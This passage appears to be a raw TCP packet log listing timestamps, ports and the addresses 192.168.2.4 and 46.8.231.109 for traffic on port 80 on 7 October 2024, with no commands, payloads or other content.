Oct 7, 2024 03:03:06.635036945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635054111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635067940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635085106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635103941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635117054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635129929 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635144949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635163069 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635175943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635190010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635229111 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635257959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635288954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635308027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635319948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635330915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635365009 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635409117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635441065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635459900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635471106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635502100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635533094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635535002 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635535002 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635546923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635571957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.635580063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635627985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.678006887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.678037882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.678086042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.678118944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.678119898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.678149939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.678149939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.678184032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.678211927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.678215981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.678235054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.678247929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.678277969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.678299904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.703666925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.703721046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.703732967 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.703733921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.703766108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.703772068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.703799963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.703804970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.703824997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.703850031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.703850985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.703882933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.703908920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.703915119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.703927994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.703957081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.703963995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.703995943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.704015970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.704027891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.704041958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.704072952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.704077005 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.704103947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.704118967 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.704137087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.704155922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.704185963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.713650942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.713702917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.713725090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.713736057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.713754892 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.713783979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.713787079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.713815928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.713835001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.713849068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.713866949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.713898897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.713907003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.713910103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.713946104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.713958979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.713963985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.713990927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714004993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714024067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714039087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714056015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714066982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714087963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714098930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714135885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714147091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714184999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714195013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714231968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714246988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714281082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714303017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714310884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714329004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714344025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714358091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714376926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714401007 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714421034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714427948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714466095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.714478016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.714534998 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723253965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723283052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723330021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723351002 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723362923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723413944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723436117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723437071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723485947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723493099 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723516941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723534107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723547935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723577976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723597050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723601103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723630905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723656893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723678112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723684072 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723726988 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723730087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723759890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723773003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723793030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723819971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723824978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723845959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723856926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723882914 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723906994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.723917007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723949909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.723979950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724011898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724021912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724057913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724064112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724090099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724108934 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724139929 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724147081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724179029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724204063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724232912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724252939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724288940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724312067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724319935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724343061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724354982 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724366903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724386930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724404097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724430084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724437952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724468946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724486113 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724503994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724515915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724534988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724560022 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724566936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724576950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724598885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724623919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724631071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724662066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724663019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724692106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724701881 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724728107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724750042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724759102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724795103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724797010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724828959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724843025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724859953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724884033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724890947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724910975 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724939108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.724941969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724972963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.724992037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725018978 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725020885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725052118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725065947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725085020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725097895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725116014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725140095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725148916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725162983 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725181103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725209951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725219965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725229025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725260019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725275993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725292921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725307941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725326061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725342035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725375891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725378990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725409031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725426912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725455999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725469112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725501060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725516081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725532055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725564003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725564957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725610018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725614071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725644112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725660086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725677013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725697994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725707054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725722075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725738049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725758076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725769043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725795031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725814104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725838900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725883007 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725914955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725946903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725960016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.725979090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.725991964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.726023912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.768667936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.768735886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.768759012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.768770933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.768785954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.768805027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.768815994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.768840075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.768851995 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.768872023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.768884897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.768906116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.768917084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.768950939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.768955946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.768987894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.797405005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797427893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797444105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797457933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797472954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797493935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797497034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.797508955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797522068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797537088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797548056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.797550917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797573090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797574997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.797589064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797597885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.797602892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797617912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.797638893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.797677994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.805728912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.805744886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.805759907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.805773973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.805788040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.805814981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.805841923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.805877924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.805880070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.805893898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.805921078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.805962086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.806041002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806056976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806071043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806085110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806097984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806106091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.806112051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806127071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.806149006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806163073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806176901 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806176901 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.806195021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.806236029 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.806319952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806337118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806355953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806371927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.806411982 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806416988 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.806427002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.806457043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.806489944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.813672066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.813703060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.813716888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.813750982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.813766956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.813781977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.813796997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.813800097 CEST	49731	80	192.168.2.4	46.8.231.109
